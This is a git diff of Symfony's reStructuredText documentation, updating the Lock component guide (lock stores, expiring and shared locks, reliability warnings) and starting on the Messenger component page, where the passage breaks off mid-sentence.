RetryTillSaveStore($store); + $store = new FlockStore('/var/stores'); $factory = new LockFactory($store); - $lock = $factory->createLock('notification-flush'); + $lock = $factory->createLock('pdf-creation'); $lock->acquire(true); -When the provided store does not implement the -:class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface, the -``Lock`` class will retry to acquire the lock in a non-blocking way until the -lock is acquired. - -.. deprecated:: 5.2 - - As of Symfony 5.2, you don't need to use the ``RetryTillSaveStore`` class - anymore. The ``Lock`` class now provides the default logic to acquire locks - in blocking mode when the store does not implement the - ``BlockingStoreInterface`` interface. +When the store does not support blocking locks by implementing the +:class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface (see +:ref:`lock stores <lock-stores>` for supported stores), the ``Lock`` class +will retry to acquire the lock in a non-blocking way until the lock is +acquired. Expiring Locks -------------- Locks created remotely are difficult to manage because there is no way for the remote ``Store`` to know if the locker process is still alive. Due to bugs, -fatal errors or segmentation faults, it cannot be guaranteed that ``release()`` -method will be called, which would cause the resource to be locked infinitely. +fatal errors or segmentation faults, it cannot be guaranteed that the +``release()`` method will be called, which would cause the resource to be +locked infinitely. The best solution in those cases is to create **expiring locks**, which are released automatically after some amount of time has passed (called TTL for @@ -151,8 +175,8 @@ job; if it's too long and the process crashes before calling the ``release()`` method, the resource will stay locked until the timeout:: // ... - // create an expiring lock that lasts 30 seconds - $lock = $factory->createLock('charts-generation', 30); + // create an expiring lock that lasts 30 seconds (default is 300.0) + $lock = $factory->createLock('pdf-creation', ttl: 30); if (!$lock->acquire()) { return; @@ -165,7 +189,7 @@ method, the resource will stay locked until the timeout:: .. tip:: - To avoid letting the lock in a locking state, it's recommended to wrap the + To avoid leaving the lock in a locked state, it's recommended to wrap the job in a try/catch/finally block to always try to release the expiring lock. In case of long-running tasks, it's better to start with a not too long TTL and @@ -173,7 +197,7 @@ then use the :method:`Symfony\\Component\\Lock\\LockInterface::refresh` method to reset the TTL to its original value:: // ... - $lock = $factory->createLock('charts-generation', 30); + $lock = $factory->createLock('pdf-creation', ttl: 30); if (!$lock->acquire()) { return; @@ -194,7 +218,7 @@ to reset the TTL to its original value:: Another useful technique for long-running tasks is to pass a custom TTL as an argument of the ``refresh()`` method to change the default lock TTL:: - $lock = $factory->createLock('charts-generation', 30); + $lock = $factory->createLock('pdf-creation', ttl: 30); // ... // refresh the lock for 30 seconds $lock->refresh(); @@ -203,30 +227,68 @@ to reset the TTL to its original value:: $lock->refresh(600); This component also provides two useful methods related to expiring locks: -``getExpiringDate()`` (which returns ``null`` or a ``\DateTimeImmutable`` -object) and ``isExpired()`` (which returns a boolean). +``getRemainingLifetime()`` (which returns ``null`` or a ``float`` +as seconds) and ``isExpired()`` (which returns a boolean). -Shared Locks ------------- +Automatically Releasing The Lock +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -.. versionadded:: 5.2 +Locks are automatically released when their Lock objects are destroyed. This is +an implementation detail that is important when sharing Locks between +processes. In the example below, ``pcntl_fork()`` creates two processes and the +Lock will be released automatically as soon as one process finishes:: - Shared locks (and the associated ``acquireRead()`` method and - ``SharedLockStoreInterface``) were introduced in Symfony 5.2. + // ... + $lock = $factory->createLock('pdf-creation'); + if (!$lock->acquire()) { + return; + } + + $pid = pcntl_fork(); + if (-1 === $pid) { + // Could not fork + exit(1); + } elseif ($pid) { + // Parent process + sleep(30); + } else { + // Child process + echo 'The lock will be released now.'; + exit(0); + } + // ... + +.. note:: + + In order for the above example to work, the `PCNTL`_ extension must be + installed. -A shared or `readers–writer lock`_ is a synchronization primitive that allows +To disable this behavior, set the ``autoRelease`` argument of +``LockFactory::createLock()`` to ``false``. That will make the lock acquired +for 3600 seconds or until ``Lock::release()`` is called:: + + $lock = $factory->createLock( + 'pdf-creation', + 3600, // ttl + false // autoRelease + ); + +Shared Locks +------------ + +A shared or `readers-writer lock`_ is a synchronization primitive that allows concurrent access for read-only operations, while write operations require exclusive access. This means that multiple threads can read the data in parallel but an exclusive lock is needed for writing or modifying data. They are used for example for data structures that cannot be updated atomically and are invalid until the update is complete. -Use the :method:`Symfony\\Component\\Lock\\SharedLockInterface::acquireRead` method -to acquire a read-only lock, and the existing +Use the :method:`Symfony\\Component\\Lock\\SharedLockInterface::acquireRead` +method to acquire a read-only lock, and :method:`Symfony\\Component\\Lock\\LockInterface::acquire` method to acquire a write lock:: - $lock = $factory->createLock('user'.$user->id); + $lock = $factory->createLock('user-'.$user->id); if (!$lock->acquireRead()) { return; } @@ -234,34 +296,40 @@ write lock:: Similar to the ``acquire()`` method, pass ``true`` as the argument of ``acquireRead()`` to acquire the lock in a blocking mode:: - $lock = $factory->createLock('user'.$user->id); + $lock = $factory->createLock('user-'.$user->id); $lock->acquireRead(true); -When a read-only lock is acquired with the method ``acquireRead()``, it's -possible to **promote** the lock, and change it to write lock, by calling the +.. note:: + + The `priority policy`_ of Symfony's shared locks depends on the underlying + store (e.g. Redis store prioritizes readers vs writers). + +When a read-only lock is acquired with the ``acquireRead()`` method, it's +possible to **promote** the lock, and change it to a write lock, by calling the ``acquire()`` method:: - $lock = $factory->createLock('user'.$userId); + $lock = $factory->createLock('user-'.$userId); $lock->acquireRead(true); if (!$this->shouldUpdate($userId)) { return; } - $lock->acquire(true); // Promote the lock to write lock + $lock->acquire(true); // Promote the lock to a write lock $this->update($userId); In the same way, it's possible to **demote** a write lock, and change it to a read-only lock by calling the ``acquireRead()`` method. When the provided store does not implement the -:class:`Symfony\\Component\\Lock\\SharedLockStoreInterface` interface, the -``Lock`` class will fallback to a write lock by calling the ``acquire()`` method. +:class:`Symfony\\Component\\Lock\\SharedLockStoreInterface` interface (see +:ref:`lock stores <lock-stores>` for supported stores), the ``Lock`` class +will fallback to a write lock by calling the ``acquire()`` method. The Owner of The Lock --------------------- -Locks that are acquired for the first time are owned [1]_ by the ``Lock`` instance that acquired +Locks that are acquired for the first time are :ref:`owned <lock-owner-technical-details>` by the ``Lock`` instance that acquired it. If you need to check whether the current ``Lock`` instance is (still) the owner of a lock, you can use the ``isAcquired()`` method:: @@ -269,8 +337,8 @@ a lock, you can use the ``isAcquired()`` method:: // We (still) own the lock } -Because of the fact that some lock stores have expiring locks (as seen and explained -above), it is possible for an instance to lose the lock it acquired automatically:: +Because some lock stores have expiring locks, it is possible for an instance to +lose the lock it acquired automatically:: // If we cannot acquire ourselves, it means some other process is already working on it if (!$lock->acquire()) { @@ -291,18 +359,24 @@ above), it is possible for an instance to lose the lock it acquired automaticall throw new \Exception('Process failed'); } -.. caution:: +.. warning:: A common pitfall might be to use the ``isAcquired()`` method to check if a lock has already been acquired by any process. As you can see in this example you have to use ``acquire()`` for this. The ``isAcquired()`` method is used to check - if the lock has been acquired by the **current process** only! + if the lock has been acquired by the **current process** only. -.. [1] Technically, the true owners of the lock are the ones that share the same instance of ``Key``, +.. _lock-owner-technical-details: + +.. note:: + + Technically, the true owners of the lock are the ones that share the same instance of ``Key``, not ``Lock``. But from a user perspective, ``Key`` is internal and you will likely only be working with the ``Lock`` instance so it's easier to think of the ``Lock`` instance as being the one that is the owner of the lock. +.. _lock-stores: + Available Stores ---------------- @@ -312,18 +386,31 @@ Locks are created and managed in ``Stores``, which are classes that implement The component includes the following built-in store types: -============================================ ====== ======== ======== ======= -Store Scope Blocking Expiring Sharing -============================================ ====== ======== ======== ======= -:ref:`FlockStore <lock-store-flock>` local yes no yes -:ref:`MemcachedStore <lock-store-memcached>` remote no yes no -:ref:`MongoDbStore <lock-store-mongodb>` remote no yes no -:ref:`PdoStore <lock-store-pdo>` remote no yes no -:ref:`PostgreSqlStore <lock-store-pgsql>` remote yes yes yes -:ref:`RedisStore <lock-store-redis>` remote no yes yes -:ref:`SemaphoreStore <lock-store-semaphore>` local yes no no -:ref:`ZookeeperStore <lock-store-zookeeper>` remote no no no -============================================ ====== ======== ======== ======= +========================================================== ====== ======== ======== ======= ============= +Store Scope Blocking Expiring Sharing Serialization +========================================================== ====== ======== ======== ======= ============= +:ref:`FlockStore <lock-store-flock>` local yes no yes no +:ref:`MemcachedStore <lock-store-memcached>` remote no yes no yes +:ref:`MongoDbStore <lock-store-mongodb>` remote no yes no yes +:ref:`PdoStore <lock-store-pdo>` remote no yes no yes +:ref:`DoctrineDbalStore <lock-store-dbal>` remote no yes no yes +:ref:`PostgreSqlStore <lock-store-pgsql>` remote yes no yes no +:ref:`DoctrineDbalPostgreSqlStore <lock-store-dbal-pgsql>` remote yes no yes no +:ref:`RedisStore <lock-store-redis>` remote no yes yes yes +:ref:`SemaphoreStore <lock-store-semaphore>` local yes no no no +:ref:`ZookeeperStore <lock-store-zookeeper>` remote no no no no +========================================================== ====== ======== ======== ======= ============= + +.. tip:: + + Symfony includes two other special stores that are mostly useful for testing: + + * ``InMemoryStore`` (``LOCK_DSN=in-memory``), which saves locks in memory during a process; + * ``NullStore`` (``LOCK_DSN=null``) which doesn't persist anything. + +.. versionadded:: 7.2 + + The :class:`Symfony\\Component\\Lock\\Store\\NullStore` was introduced in Symfony 7.2. .. _lock-store-flock: @@ -341,11 +428,11 @@ when the PHP process ends):: // if none is given, sys_get_temp_dir() is used internally. $store = new FlockStore('/var/stores'); -.. caution:: +.. warning:: Beware that some file systems (such as some types of NFS) do not support locking. In those cases, it's better to use a directory on a local disk - drive or a remote store based on PDO, Redis or Memcached. + drive or a remote store. .. _lock-store-memcached: @@ -372,10 +459,6 @@ support blocking, and expects a TTL to avoid stalled locks:: MongoDbStore ~~~~~~~~~~~~ -.. versionadded:: 5.1 - - The ``MongoDbStore`` was introduced in Symfony 5.1. - The MongoDbStore saves locks on a MongoDB server ``>=2.2``, it requires a ``\MongoDB\Collection`` or ``\MongoDB\Client`` from `mongodb/mongodb`_ or a `MongoDB Connection String`_. @@ -386,7 +469,7 @@ avoid stalled locks:: $mongo = 'mongodb://localhost/database?collection=lock'; $options = [ - 'gcProbablity' => 0.001, + 'gcProbability' => 0.001, 'database' => 'myapp', 'collection' => 'lock', 'uriOptions' => [], @@ -399,10 +482,10 @@ The ``MongoDbStore`` takes the following ``$options`` (depending on the first pa ============= ================================================================================================ Option Description ============= ================================================================================================ -gcProbablity Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``) +gcProbability Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``) database The name of the database collection The name of the collection -uriOptions Array of uri options for `MongoDBClient::__construct`_ +uriOptions Array of URI options for `MongoDBClient::__construct`_ driverOptions Array of driver options for `MongoDBClient::__construct`_ ============= ================================================================================================ @@ -433,13 +516,12 @@ MongoDB Connection String: PdoStore ~~~~~~~~ -The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection, a -`Doctrine DBAL Connection`_, or a `Data Source Name (DSN)`_. This store does not -support blocking, and expects a TTL to avoid stalled locks:: +The PdoStore saves locks in an SQL database. It requires a `PDO`_ connection or a `Data Source Name (DSN)`_. +This store does not support blocking, and expects a TTL to avoid stalled locks:: use Symfony\Component\Lock\Store\PdoStore; - // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO + // a PDO instance or DSN for lazy connecting through PDO $databaseConnectionOrDSN = 'mysql:host=127.0.0.1;dbname=app'; $store = new PdoStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']); @@ -453,27 +535,77 @@ You can also create this table explicitly by calling the :method:`Symfony\\Component\\Lock\\Store\\PdoStore::createTable` method in your code. +.. _lock-store-dbal: + +DoctrineDbalStore +~~~~~~~~~~~~~~~~~ + +The DoctrineDbalStore saves locks in an SQL database. It is identical to PdoStore +but requires a `Doctrine DBAL Connection`_, or a `Doctrine DBAL URL`_. This store +does not support blocking, and expects a TTL to avoid stalled locks:: + + use Symfony\Component\Lock\Store\DoctrineDbalStore; + + // a Doctrine DBAL connection or DSN + $connectionOrURL = 'mysql://myuser:mypassword@127.0.0.1/app'; + $store = new DoctrineDbalStore($connectionOrURL); + +.. note:: + + This store does not support TTL lower than 1 second. + +The table where values are stored will be automatically generated when your run +the command: + +.. code-block:: terminal + + $ php bin/console make:migration + +If you prefer to create the table yourself and it has not already been created, you can +create this table explicitly by calling the +:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::createTable` method. +You can also add this table to your schema by calling +:method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::configureSchema` method +in your code + +If the table has not been created upstream, it will be created automatically on the first call to +the :method:`Symfony\\Component\\Lock\\Store\\DoctrineDbalStore::save` method. + .. _lock-store-pgsql: PostgreSqlStore ~~~~~~~~~~~~~~~ The PostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It requires a -`PDO`_ connection, a `Doctrine DBAL Connection`_, or a -`Data Source Name (DSN)`_. It supports native blocking, as well as sharing locks. +`PDO`_ connection or a `Data Source Name (DSN)`_. It supports native blocking, as well as sharing +locks:: use Symfony\Component\Lock\Store\PostgreSqlStore; - // a PDO, a Doctrine DBAL connection or DSN for lazy connecting through PDO - $databaseConnectionOrDSN = 'postgresql://myuser:mypassword@localhost:5634/lock'; - $store = new PostgreSqlStore($databaseConnectionOrDSN); + // a PDO instance or DSN for lazy connecting through PDO + $databaseConnectionOrDSN = 'pgsql:host=localhost;port=5634;dbname=app'; + $store = new PostgreSqlStore($databaseConnectionOrDSN, ['db_username' => 'myuser', 'db_password' => 'mypassword']); In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to -store locks and does not expire. +store locks and it does not expire. -.. versionadded:: 5.2 +.. _lock-store-dbal-pgsql: - The ``PostgreSqlStore`` was introduced in Symfony 5.2. +DoctrineDbalPostgreSqlStore +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. +It is identical to PostgreSqlStore but requires a `Doctrine DBAL Connection`_ or +a `Doctrine DBAL URL`_. It supports native blocking, as well as sharing locks:: + + use Symfony\Component\Lock\Store\DoctrineDbalPostgreSqlStore; + + // a Doctrine Connection or DSN + $databaseConnectionOrDSN = 'postgresql+advisory://myuser:mypassword@127.0.0.1:5634/lock'; + $store = new DoctrineDbalPostgreSqlStore($databaseConnectionOrDSN); + +In opposite to the ``DoctrineDbalStore``, the ``DoctrineDbalPostgreSqlStore`` does not need a table to +store locks and does not expire. .. _lock-store-redis: @@ -481,9 +613,9 @@ RedisStore ~~~~~~~~~~ The RedisStore saves locks on a Redis server, it requires a Redis connection -implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster`` or -``\Predis`` classes. This store does not support blocking, and expects a TTL to -avoid stalled locks:: +implementing the ``\Redis``, ``\RedisArray``, ``\RedisCluster``, ``\Relay\Relay``, +``\Relay\Cluster`` or ``\Predis`` classes. This store does not support blocking, +and expects a TTL to avoid stalled locks:: use Symfony\Component\Lock\Store\RedisStore; @@ -492,6 +624,10 @@ avoid stalled locks:: $store = new RedisStore($redis); +.. versionadded:: 7.3 + + Support for ``Relay\Cluster`` was introduced in Symfony 7.3. + .. _lock-store-semaphore: SemaphoreStore @@ -509,10 +645,10 @@ CombinedStore ~~~~~~~~~~~~~ The CombinedStore is designed for High Availability applications because it -manages several stores in sync (for example, several Redis servers). When a lock -is being acquired, it forwards the call to all the managed stores, and it -collects their responses. If a simple majority of stores have acquired the lock, -then the lock is considered as acquired; otherwise as not acquired:: +manages several stores in sync (for example, several Redis servers). When a +lock is acquired, it forwards the call to all the managed stores, and it +collects their responses. If a simple majority of stores have acquired the +lock, then the lock is considered acquired:: use Symfony\Component\Lock\Store\CombinedStore; use Symfony\Component\Lock\Store\RedisStore; @@ -530,14 +666,19 @@ then the lock is considered as acquired; otherwise as not acquired:: Instead of the simple majority strategy (``ConsensusStrategy``) an ``UnanimousStrategy`` can be used to require the lock to be acquired in all -the stores. +the stores:: + + use Symfony\Component\Lock\Store\CombinedStore; + use Symfony\Component\Lock\Strategy\UnanimousStrategy; -.. caution:: + $store = new CombinedStore($stores, new UnanimousStrategy()); + +.. warning:: In order to get high availability when using the ``ConsensusStrategy``, the minimum cluster size must be three servers. This allows the cluster to keep working when a single server fails (because this strategy requires that the - lock is acquired in more than half of the servers). + lock is acquired for more than half of the servers). .. _lock-store-zookeeper: @@ -565,7 +706,7 @@ PHP process is terminated:: Reliability ----------- -The component guarantees that the same resource can't be lock twice as long as +The component guarantees that the same resource can't be locked twice as long as the component is used in the following way. Remote Stores @@ -579,17 +720,12 @@ Remote stores (:ref:`MemcachedStore <lock-store-memcached>`, :ref:`ZookeeperStore <lock-store-zookeeper>`) use a unique token to recognize the true owner of the lock. This token is stored in the :class:`Symfony\\Component\\Lock\\Key` object and is used internally by -the ``Lock``, therefore this key must not be shared between processes (session, -caching, fork, ...). - -.. caution:: - - Do not share a key between processes. +the ``Lock``. -Every concurrent process must store the ``Lock`` in the same server. Otherwise two +Every concurrent process must store the ``Lock`` on the same server. Otherwise two different machines may allow two different processes to acquire the same ``Lock``. -.. caution:: +.. warning:: To guarantee that the same server will always be safe, do not use Memcached behind a LoadBalancer, a cluster or round-robin DNS. Even if the main server @@ -610,10 +746,10 @@ The ``Lock`` provides several methods to check its health. The ``isExpired()`` method checks whether or not its lifetime is over and the ``getRemainingLifetime()`` method returns its time to live in seconds. -Using the above methods, a more robust code would be:: +Using the above methods, a robust code would be:: // ... - $lock = $factory->createLock('invoice-publication', 30); + $lock = $factory->createLock('pdf-creation', 30); if (!$lock->acquire()) { return; @@ -628,24 +764,24 @@ Using the above methods, a more robust code would be:: $lock->refresh(); } - // Perform the task whose duration MUST be less than 5 minutes + // Perform the task whose duration MUST be less than 5 seconds } -.. caution:: +.. warning:: Choose wisely the lifetime of the ``Lock`` and check whether its remaining time to live is enough to perform the task. -.. caution:: +.. warning:: Storing a ``Lock`` usually takes a few milliseconds, but network conditions may increase that time a lot (up to a few seconds). Take that into account when choosing the right TTL. -By design, locks are stored in servers with a defined lifetime. If the date or +By design, locks are stored on servers with a defined lifetime. If the date or time of the machine changes, a lock could be released sooner than expected. -.. caution:: +.. warning:: To guarantee that date won't change, the NTP service should be disabled and the date should be updated when the service is stopped. @@ -654,11 +790,11 @@ FlockStore ~~~~~~~~~~ By using the file system, this ``Store`` is reliable as long as concurrent -processes use the same physical directory to stores locks. +processes use the same physical directory to store locks. Processes must run on the same machine, virtual machine or container. -Be careful when updating a Kubernetes or Swarm service because for a short -period of time, there can be two running containers in parallel. +Be careful when updating a Kubernetes or Swarm service because, for a short +period of time, there can be two containers running in parallel. The absolute path to the directory must remain the same. Be careful of symlinks that could change at anytime: Capistrano and blue/green deployment often use @@ -667,22 +803,21 @@ deployments. Some file systems (such as some types of NFS) do not support locking. -.. caution:: +.. warning:: All concurrent processes must use the same physical file system by running - on the same machine and using the same absolute path to locks directory. + on the same machine and using the same absolute path to the lock directory. - By definition, usage of ``FlockStore`` in an HTTP context is incompatible - with multiple front servers, unless to ensure that the same resource will - always be locked on the same machine or to use a well configured shared file - system. + Using a ``FlockStore`` in an HTTP context is incompatible with multiple + front servers, unless to ensure that the same resource will always be + locked on the same machine or to use a well configured shared file system. -Files on the file system can be removed during a maintenance operation. For instance, -to clean up the ``/tmp`` directory or after a reboot of the machine when a directory -uses tmpfs. It's not an issue if the lock is released when the process ended, but -it is in case of ``Lock`` reused between requests. +Files on the file system can be removed during a maintenance operation. For +instance, to clean up the ``/tmp`` directory or after a reboot of the machine +when a directory uses ``tmpfs``. It's not an issue if the lock is released when +the process ended, but it is in case of ``Lock`` reused between requests. -.. caution:: +.. danger:: Do not store locks on a volatile file system if they have to be reused in several requests. @@ -692,12 +827,12 @@ MemcachedStore The way Memcached works is to store items in memory. That means that by using the :ref:`MemcachedStore <lock-store-memcached>` the locks are not persisted -and may disappear by mistake at anytime. +and may disappear by mistake at any time. If the Memcached service or the machine hosting it restarts, every lock would be lost without notifying the running processes. -.. caution:: +.. warning:: To avoid that someone else acquires a lock after a restart, it's recommended to delay service start and wait at least as long as the longest lock TTL. @@ -705,7 +840,7 @@ be lost without notifying the running processes. By default Memcached uses a LRU mechanism to remove old entries when the service needs space to add new items. -.. caution:: +.. warning:: The number of items stored in Memcached must be under control. If it's not possible, LRU should be disabled and Lock should be stored in a dedicated @@ -715,7 +850,7 @@ When the Memcached service is shared and used for multiple usage, Locks could be removed by mistake. For instance some implementation of the PSR-6 ``clear()`` method uses the Memcached's ``flush()`` method which purges and removes everything. -.. caution:: +.. danger:: The method ``flush()`` must not be called, or locks should be stored in a dedicated Memcached service away from Cache. @@ -723,18 +858,18 @@ method uses the Memcached's ``flush()`` method which purges and removes everythi MongoDbStore ~~~~~~~~~~~~ -.. caution:: +.. warning:: The locked resource name is indexed in the ``_id`` field of the lock - collection. Beware that in MongoDB an indexed field's value can be - `a maximum of 1024 bytes in length`_ inclusive of structural overhead. + collection. Beware that an indexed field's value in MongoDB can be + `a maximum of 1024 bytes in length`_ including the structural overhead. A TTL index must be used to automatically clean up expired locks. Such an index can be created manually: .. code-block:: javascript - db.lock.ensureIndex( + db.lock.createIndex( { "expires_at": 1 }, { "expireAfterSeconds": 0 } ) @@ -745,32 +880,33 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB. .. tip:: - ``MongoDbStore`` will attempt to automatically create a TTL index. - It's recommended to set constructor option ``gcProbablity = 0.0`` to + ``MongoDbStore`` will attempt to automatically create a TTL index. It's + recommended to set constructor option ``gcProbability`` to ``0.0`` to disable this behavior if you have manually dealt with TTL index creation. -.. caution:: +.. warning:: This store relies on all PHP application and database nodes to have synchronized clocks for lock expiry to occur at the correct time. To ensure locks don't expire prematurely; the lock TTL should be set with enough extra time in ``expireAfterSeconds`` to account for any clock drift between nodes. -``writeConcern``, ``readConcern`` and ``readPreference`` are not specified by -MongoDbStore meaning the collection's settings will take effect. Read more -about `Replica Set Read and Write Semantics`_ in MongoDB. +``writeConcern`` and ``readConcern`` are not specified by MongoDbStore meaning +the collection's settings will take effect. +``readPreference`` is ``primary`` for all queries. +Read more about `Replica Set Read and Write Semantics`_ in MongoDB. PdoStore -~~~~~~~~~~ +~~~~~~~~ The PdoStore relies on the `ACID`_ properties of the SQL engine. -.. caution:: +.. warning:: In a cluster configured with multiple primaries, ensure writes are - synchronously propagated to every nodes, or always use the same node. + synchronously propagated to every node, or always use the same node. -.. caution:: +.. warning:: Some SQL engines like MySQL allow to disable the unique constraint check. Ensure that this is not the case ``SET unique_checks=1;``. @@ -779,7 +915,7 @@ In order to purge old locks, this store uses a current datetime to define an expiration date reference. This mechanism relies on all server nodes to have synchronized clocks. -.. caution:: +.. warning:: To ensure locks don't expire prematurely; the TTLs should be set with enough extra time to account for any clock drift between nodes. @@ -787,7 +923,7 @@ have synchronized clocks. PostgreSqlStore ~~~~~~~~~~~~~~~ -The PdoStore relies on the `Advisory Locks`_ properties of the PostgreSQL +The PostgreSqlStore relies on the `Advisory Locks`_ properties of the PostgreSQL database. That means that by using :ref:`PostgreSqlStore <lock-store-pgsql>` the locks will be automatically released at the end of the session in case the client cannot unlock for any reason. @@ -803,12 +939,12 @@ RedisStore The way Redis works is to store items in memory. That means that by using the :ref:`RedisStore <lock-store-redis>` the locks are not persisted -and may disappear by mistake at anytime. +and may disappear by mistake at any time. If the Redis service or the machine hosting it restarts, every locks would be lost without notifying the running processes. -.. caution:: +.. warning:: To avoid that someone else acquires a lock after a restart, it's recommended to delay service start and wait at least as long as the longest lock TTL. @@ -822,7 +958,7 @@ be lost without notifying the running processes. When the Redis service is shared and used for multiple usages, locks could be removed by mistake. -.. caution:: +.. danger:: The command ``FLUSHDB`` must not be called, or locks should be stored in a dedicated Redis service away from Cache. @@ -830,13 +966,13 @@ removed by mistake. CombinedStore ~~~~~~~~~~~~~ -Combined stores allow to store locks across several backends. It's a common +Combined stores allow the storage of locks across several backends. It's a common mistake to think that the lock mechanism will be more reliable. This is wrong. The ``CombinedStore`` will be, at best, as reliable as the least reliable of all managed stores. As soon as one managed store returns erroneous information, the ``CombinedStore`` won't be reliable. -.. caution:: +.. warning:: All concurrent processes must use the same configuration, with the same amount of managed stored and the same endpoint. @@ -854,13 +990,13 @@ must run on the same machine, virtual machine or container. Be careful when updating a Kubernetes or Swarm service because for a short period of time, there can be two running containers in parallel. -.. caution:: +.. warning:: All concurrent processes must use the same machine. Before starting a - concurrent process on a new machine, check that other process are stopped + concurrent process on a new machine, check that other processes are stopped on the old one. -.. caution:: +.. warning:: When running on systemd with non-system user and option ``RemoveIPC=yes`` (default value), locks are deleted by systemd when that user logs out. @@ -905,6 +1041,7 @@ are still running. .. _`Advisory Locks`: https://www.postgresql.org/docs/current/explicit-locking.html .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name .. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php +.. _`Doctrine DBAL URL`: https://www.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html#connecting-using-a-url .. _`Expire Data from Collections by Setting TTL`: https://docs.mongodb.com/manual/tutorial/expire-data/ .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science) .. _`MongoDB Connection String`: https://docs.mongodb.com/manual/reference/connection-string/ @@ -914,4 +1051,6 @@ are still running. .. _`PHP semaphore functions`: https://www.php.net/manual/en/book.sem.php .. _`Replica Set Read and Write Semantics`: https://docs.mongodb.com/manual/applications/replication/ .. _`ZooKeeper`: https://zookeeper.apache.org/ -.. _`readers–writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock +.. _`readers-writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock +.. _`priority policy`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock#Priority_policies +.. _`PCNTL`: https://www.php.net/manual/book.pcntl.php diff --git a/components/messenger.rst b/components/messenger.rst index 7d03b9488e3..a8ff1e5290e 100644 --- a/components/messenger.rst +++ b/components/messenger.rst @@ -1,7 +1,3 @@ -.. index:: - single: Messenger - single: Components; Messenger - The Messenger Component ======================= @@ -31,7 +27,9 @@ Concepts .. raw:: html - <object data="../_images/components/messenger/overview.svg" type="image/svg+xml"></object> + <object data="../_images/components/messenger/overview.svg" type="image/svg+xml" + alt="A flow diagram visualizing how each concept relates to eachother. Each concept is described in the subsequent text." + ></object> **Sender**: Responsible for serializing and sending messages to *something*. This @@ -56,7 +54,7 @@ Concepts which means they can tweak the envelope, by adding stamps to it or even replacing it, as well as interrupt the middleware chain. Middleware are called both when a message is originally dispatched and again later when a message - is received from a transport, + is received from a transport. **Envelope**: Messenger specific concept, it gives full flexibility inside the message bus, @@ -77,7 +75,7 @@ middleware stack. The component comes with a set of middleware that you can use. When using the message bus with Symfony's FrameworkBundle, the following middleware are configured for you: -#. :class:`Symfony\\Component\\Messenger\\Middleware\\SendMessageMiddleware` (enables asynchronous processing, logs the processing of your messages if you pass a logger) +#. :class:`Symfony\\Component\\Messenger\\Middleware\\SendMessageMiddleware` (enables asynchronous processing, logs the processing of your messages if you provide a logger) #. :class:`Symfony\\Component\\Messenger\\Middleware\\HandleMessageMiddleware` (calls the registered handler(s)) Example:: @@ -115,7 +113,7 @@ that will do the required processing for your message:: class MyMessageHandler { - public function __invoke(MyMessage $message) + public function __invoke(MyMessage $message): void { // Message processing... } @@ -144,24 +142,41 @@ through the transport layer, use the ``SerializerStamp`` stamp:: Here are some important envelope stamps that are shipped with the Symfony Messenger: -#. :class:`Symfony\\Component\\Messenger\\Stamp\\DelayStamp`, - to delay handling of an asynchronous message. -#. :class:`Symfony\\Component\\Messenger\\Stamp\\DispatchAfterCurrentBusStamp`, - to make the message be handled after the current bus has executed. Read more - at :doc:`/messenger/dispatch_after_current_bus`. -#. :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`, - a stamp that marks the message as handled by a specific handler. - Allows accessing the handler returned value and the handler name. -#. :class:`Symfony\\Component\\Messenger\\Stamp\\ReceivedStamp`, - an internal stamp that marks the message as received from a transport. -#. :class:`Symfony\\Component\\Messenger\\Stamp\\SentStamp`, - a stamp that marks the message as sent by a specific sender. - Allows accessing the sender FQCN and the alias if available from the - :class:`Symfony\\Component\\Messenger\\Transport\\Sender\\SendersLocator`. -#. :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp`, - to configure the serialization groups used by the transport. -#. :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`, - to configure the validation groups used when the validation middleware is enabled. +* :class:`Symfony\\Component\\Messenger\\Stamp\\DelayStamp`, + to delay handling of an asynchronous message. +* :class:`Symfony\\Component\\Messenger\\Stamp\\DispatchAfterCurrentBusStamp`, + to make the message be handled after the current bus has executed. Read more + at :ref:`messenger-transactional-messages`. +* :class:`Symfony\\Component\\Messenger\\Stamp\\HandledStamp`, + a stamp that marks the message as handled by a specific handler. + Allows accessing the handler returned value and the handler name. +* :class:`Symfony\\Component\\Messenger\\Stamp\\ReceivedStamp`, + an internal stamp that marks the message as received from a transport. +* :class:`Symfony\\Component\\Messenger\\Stamp\\SentStamp`, + a stamp that marks the message as sent by a specific sender. + Allows accessing the sender FQCN and the alias if available from the + :class:`Symfony\\Component\\Messenger\\Transport\\Sender\\SendersLocator`. +* :class:`Symfony\\Component\\Messenger\\Stamp\\SerializerStamp`, + to configure the serialization groups used by the transport. +* :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp`, + to configure the validation groups used when the validation middleware is enabled. +* :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp`, + an internal stamp when a message fails due to an exception in the handler. +* :class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp`, + a stamp that marks the message as produced by a scheduler. This helps + differentiate it from messages created "manually". You can learn more about it + in the :doc:`Scheduler documentation </scheduler>`. + +.. note:: + + The :class:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp` stamp + contains a 